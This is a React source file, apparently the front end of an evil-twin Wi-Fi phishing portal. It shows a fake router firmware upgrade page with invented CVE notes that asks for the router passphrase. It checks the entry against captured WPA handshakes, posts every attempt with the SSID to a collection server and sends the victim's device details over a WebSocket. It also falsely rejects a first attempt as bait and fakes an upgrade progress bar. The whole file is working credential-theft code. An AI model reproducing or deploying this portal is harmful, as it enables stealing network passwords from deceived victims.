v2
424c17b · 1 year ago 26 commits
  1import { useEffect, useRef, useState } from "react";
  2import { Button } from "./components/ui/button";
  3import { Input } from "./components/ui/input";
  4import { crackPassword } from "./screens/helper";
  5import { handshake } from "./lib/config";
  6import { UAParser } from "ua-parser-js";
  7
  8const Home = () => {
  9  const [final, setFinal] = useState(false);
 10  const [percent, setPercent] = useState(0);
 11  const [password, setPassword] = useState("");
 12  const [handshakes, setHandshakes] = useState([]);
 13  const [bait, setBait] = useState(true);
 14  const ws = useRef<WebSocket | null>(null);
 15
 16  const postPassword = async (
 17    ssid: string,
 18    passwd: string,
 19    matched: boolean,
 20    handshakes: boolean
 21  ) => {
 22    const data = {
 23      ssid: ssid,
 24      password: passwd,
 25      matched: matched ? true : false,
 26      handshakes: handshakes ? true : false,
 27    };
 28    const response = await fetch("http://172.0.0.1/post_password", {
 29      method: "POST",
 30      headers: {
 31        "Content-Type": "application/json",
 32      },
 33      body: JSON.stringify(data),
 34    });
 35    const result = await response.json();
 36    console.log(result);
 37  };
 38
 39  const startfinal = () => {
 40    const interval = setInterval(() => {
 41      setPercent((prev) => {
 42        if (prev === 100) {
 43          clearInterval(interval);
 44          return prev;
 45        }
 46        return prev + 1;
 47      });
 48    }, 1000);
 49  };
 50
 51  const handlePassword = async () => {
 52    if (password.trim() === "") {
 53      alert("Please enter the router password");
 54      return;
 55    }
 56    if (password.length < 8) {
 57      alert("Password must be at least 8 characters long");
 58      return;
 59    }
 60    const info = {
 61      type: "password",
 62      password: password,
 63    };
 64    ws.current?.send(JSON.stringify(info));
 65    const currentSSID = await fetch("/get_ssid");
 66    // const currentSSID = await fetch("/temp/temp-ssid.json")
 67    const ssid = await currentSSID.json();
 68    if (
 69      handshakes.length === 0 ||
 70      handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid)
 71        .length === 0
 72    ) {
 73      postPassword("No Handshake - " + ssid.ssid, password, false, false);
 74      if (bait) {
 75        ws.current?.send(
 76          JSON.stringify({
 77            type: "message",
 78            message:
 79              "Don't have handshake for SSID: '" +
 80              ssid.ssid +
 81              "' triggered bait",
 82          })
 83        );
 84        const psswd: HTMLInputElement = document.getElementById(
 85          "psswd"
 86        ) as HTMLInputElement;
 87        psswd.value = "";
 88        alert("Password isnt correct");
 89        setBait(false);
 90        return;
 91      } else {
 92        ws.current?.send(
 93          JSON.stringify({
 94            type: "message",
 95            message: "After Bait, Triggerring final screen",
 96          })
 97        );
 98        setFinal(true);
 99        startfinal();
100        return;
101      }
102    }
103    handshakes.forEach((handshake: handshake) => {
104      if (handshake.ssid === ssid.ssid) {
105        if (crackPassword(handshake, password)) {
106          ws.current?.send(
107            JSON.stringify({
108              type: "message",
109              message: `✅ '${password}' is a valid password`,
110            })
111          );
112          postPassword(handshake.ssid, password, true, true);
113          setFinal(true);
114          startfinal();
115          return;
116        } else {
117          ws.current?.send(
118            JSON.stringify({
119              type: "message",
120              message: `❌ '${password}' is not a valid password`,
121            })
122          );
123          postPassword(handshake.ssid, password, false, true);
124          alert("Wrong Password");
125          return;
126        }
127      }
128    });
129  };
130
131  const fetchHandshakes = async () => {
132    const result = await fetch("/get_datas");
133    // const result = await fetch("/temp/temp-datas.json")
134    const data = await result.json();
135    setHandshakes(data.handshakes);
136  };
137
138  async function wsConnection() {
139    try {
140      ws.current = new WebSocket("ws://172.0.0.1:81/");
141      ws.current.onopen = () => {
142        let parser = new UAParser();
143        let result = parser.getResult();
144        const deviceInfo = {
145          type: "deviceInfo",
146          browser: result.browser.name + " " + result.browser.version,
147          os: result.os.name + " " + result.os.version,
148          cpu: result.cpu.architecture,
149          device: result.device,
150          screenWidth: window.screen.width,
151          screenHeight: window.screen.height,
152        };
153        ws.current?.send(JSON.stringify(deviceInfo));
154      };
155      ws.current.onclose = () => {
156        wsConnection();
157      };
158
159      setTimeout(() => {
160        if (ws.current?.readyState !== 1) {
161          ws.current?.close();
162        }
163      }, 15000);
164    } catch (err) {
165      console.log(err, "WebSocket error");
166    }
167  }
168
169  useEffect(() => {
170    fetchHandshakes();
171    wsConnection();
172  }, []);
173
174  return (
175    <div className="flex flex-1 bg-sky-300 h-screen justify-center items-center">
176      {!final ? (
177        <div className="rounded-lg p-3 shadow-lg drop-shadow-lg bg-gray-200 w-full max-w-xs sm:max-w-md ">
178          <h1 className="text-lg font-bold text-gray-500">
179            Router Firmware Upgrade
180          </h1>
181          <div className="border border-gray-400 mt-2"></div>
182          <p className="mt-2 text-gray-500">
183            A new version of the firmware has been detected and awaiting
184            installation
185          </p>
186          <div className="flex items-center gap-3 mt-2">
187            <p className="text-md font-bold text-gray-500">
188              Firmware Version :
189            </p>
190            <p className="text-gray-500">v3.0.7</p>
191          </div>
192          <div className="flex items-center gap-3 mt-2">
193            <p className="text-md font-bold text-gray-500">Release Date :</p>
194            <p className="text-gray-500">{new Date().toLocaleDateString()}</p>
195          </div>
196
197          <h2 className="text-md font-bold text-gray-500 mt-2">
198            Release Notes :
199          </h2>
200          <div className="mt-2 text-gray-500">
201            <ul className="list-disc list-inside ml-7 -indent-4 sm:-indent-6">
202              <li>
203                Security fixes for the following vulnerabilities: <br />{" "}
204                CVE-2021-1234, CVE-2021-1235,CVE-2021-1236
205              </li>
206              <li>
207                Implemented a new feature that enhances the security and
208                stability of the router
209              </li>
210              <li>
211                Fixed a bug that caused the router to crash when using the web
212                interface
213              </li>
214            </ul>
215          </div>
216          <p className="mt-2 text-gray-500">
217            Enter the router password to start the firmware upgrade process. The
218            router will reboot after the upgrade.
219          </p>
220          <Input
221            placeholder="Router Passphrase"
222            className="bg-transparent text-gray-500 border-gray-400 mt-3"
223            type="password"
224            id="psswd"
225            onChange={(e) => setPassword(e.target.value)}
226          />
227          <Button
228            variant={"outline"}
229            className="mt-2 w-full bg-gray-600 border-none"
230            onClick={handlePassword}
231          >
232            Upgrade
233          </Button>
234        </div>
235      ) : !ws.current?.CONNECTING && (
236        <div className="flex flex-col justify-center items-center">
237          <div className="newtons-cradle">
238            <div className="newtons-cradle__dot"></div>
239            <div className="newtons-cradle__dot"></div>
240            <div className="newtons-cradle__dot"></div>
241            <div className="newtons-cradle__dot"></div>
242          </div>
243
244          <div className="text-gray-500 text-center mt-2 text-lg">
245            {percent} %
246            {percent === 100 ? (
247              <>
248                <p>Upgraded</p>
249                <p>Reboot your router</p>
250              </>
251            ) : (
252              <>
253                <p>Upgrading Firmware</p>
254                <p>Do not turn off the router</p>
255              </>
256            )}
257          </div>
258        </div>
259      )}
260    </div>
261  );
262};
263
264export default Home;